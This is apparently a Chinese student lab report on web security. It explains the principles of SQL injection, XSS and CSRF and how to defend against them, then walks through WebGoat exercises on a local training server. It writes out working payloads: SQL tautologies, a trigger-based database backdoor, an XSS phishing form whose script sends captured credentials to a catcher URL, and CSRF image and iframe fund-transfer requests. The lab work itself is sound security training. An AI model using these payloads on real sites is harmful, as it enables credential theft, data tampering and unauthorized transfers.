2018-2019-2 20165333 《网络对抗技术》 Exp 9 Web安全基础

1、基础问题回答

1.SQL注入攻击原理,如何防护?javascript

  • 原理:SQL注入,就是经过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
    sql注入攻击是利用是指利用设计上的漏洞,在目标服务器上运行Sql语句以及进行其余方式的攻击,动态生成Sql语句时没有对用户输入的数据进行验证是Sql注入攻击得逞的主要缘由。如:在用户名、密码登输入框中输入一些',--,#等特殊字符,实现引号闭合、注释部分SQL语句,利用永真式实现登陆、显示信息等目的。
  • 防护:
    关闭或删除没必要要的交互式提交表单页面;
    对漏洞注入点相关代码进行关键字的过滤(如:利用正则表达式),以规范代码安全性;
    不要在服务器端放置备份的文件以避免受到感染,或备份的文件含有漏洞,形成切入点;
    将数据库里的内容进行加密处理使其不具备特殊的意义。
    2.XSS攻击的原理,如何防护?
  • 原理:XSS:跨站脚本。攻击者利用网站漏洞(一般这些漏洞是指网站后台处理程序没有很好的对用户输入进行过滤),输入能够显示在页面上的、对其余用户形成影响的HTML代码;因为受害者浏览器对目标服务器的信任,当其访问目标服务器上被注入恶意脚本(如:html标签或者javascript代码)的页面后,这段恶意脚本能够顺利执行,实现获取用户cookie并能够利用用户身份进行非法操做的目的。
  • 防护:
    用户角度:提升防范意识,不要轻易输入我的信息,如用户名密码;
    网页制做者角度:
    对输入和URL参数进行过滤
    在输出数据以前对潜在的威胁的字符进行编码、转义
    3.CSRF攻击原理,如何防护?
  • 原理:
    CSRF :跨站请求伪造。
    CSRF就是冒名登陆。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,由于目前主流状况Session都是存在Cookie中.攻击者并不关心被害者具体账号和密码,由于一旦用户进行了登陆,Session就是用户的惟一凭证,只要攻击者可以获得Session,就能够假装成被害者进入服务器.
    主要是当访问网站A时输入用户名和密码,在经过验证后,网站A产生Cookie信息并返回,此时登陆网站A成功,可正常发送请求到网站A。在未退出网站A前,若访问另外一个网站B,网站B可返回一些攻击性代码并请求访问网站A;所以在网站B的请求下,向网站A发出请求。但网站A不知道该请求恶意的,所以仍是会执行该恶意代码
  • 防护:
    验证请求中的Token
    验证 Referer
    添加加随机验证
    设定cookie域

实践过程

(一)Webgoat安装
1.下载webgoat-container-7.0.1-war-exec.jar文件
二、在含有该文件的目录下使用命令java -jar webgoat-container-7.0.1-war-exec.jar运行Webgoat,出现信息: Starting ProtocolHandler ["http-bio-8080"]说明开启成功,实验过程当中不能关闭终端
三、在浏览器中输入http://localhost:8080/WebGoat进入WebGoat登陆界面
四、使用默认用户名密码guest登陆便可
html

SQL攻击java

  • 1.Numeric SQL Injection
    右键点击页面,选择inspect Element审查网页元素对源代码进行修改,在选中的城市编号Value值中添加or 1=1:

攻击成功,显示全部城市的天气状况:
web

  • 2.Log Spoofing
    利用入回车(0D%)和换行符(%0A),在 username 中填入zch%0d%0aLogin Succeeded for username: admin,攻击成功:
    正则表达式

  • 3.String SQL Injection
    根据题目要求输入:Smith。能够看到查询的相关信息,语句为SELECT * FROM user_data WHERE last_name = 'Smith'sql

注入永真式'or 1='1攻击成功:
数据库

  • 4.LAB: SQL Injection
    Stage 1: String SQL Injection:
    输入or 1=1 --进行SQL注入,失败;查看源码发现是对输入长度进行了限制,修改源码再次注入,成功。

  • 5.Database Backdoors
    首先验证一下语句,在`user ID输入101; update employee set salary=5000,能够看到更新的数据

进行注入101; CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHEREuserid = NEW.userid建立后门:
浏览器

XSS攻击安全

  • 1.Phishing with XSS
    在搜索框中直接输入要进行xss的攻击代码。参考编写,添加一个form可让用户输入用户名和密码,再使这些信息可以发送给网站并显示:
</form>
<script>
    function hack(){ 
        XSSImage=new Image;
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
        alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
</script>
<form name="phish">
<br>
<br>
<HR>
    <H2>This feature requires account login:</H2>
<br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
<br>
    <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

点击search,出现表单,输入信息,攻击成功:
服务器

  • 2.Stored XSS Attacks
    建立非法的消息内容,能够致使其余用户访问时载入非预期的页面或内容;命名title,在message里输入一串js代码:<script>alert("boy next door");</script>,点击刚刚建立的帖子,弹出窗口

  • 3.Reflected XSS Attacks
    输入错误用户信息后,服务器校验输入有误,返回错误页面并将错误内容展现。若是输入一个攻击URL就会返回该信息。输入,提交:

CRSF攻击

  • 1.Cross Site Request Forgery(CSRF)
    写一个URL放进Message框,使其余用户不可见,设置成一个隐藏图片,用户一旦点击就会触发一个CSRF事件;在Message里输入<img src="http://localhost:8080/WebGoat/attack?Screen=&menu=900&transferFunds=5000" width="1" height="1" />;点击该消息,页面就会下载这个消息并显示,就会执行转走用户的存款。

  • 2.CSRF Prompt By-Pass
    message框中输入:
<iframe src="attack?Screen=[scr]menu=[menu]&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=[scr]&menu=[menu]&transferFunds=CONFIRM"> </iframe>

查看消息,看到转帐消息:

相关文章
相关标签/搜索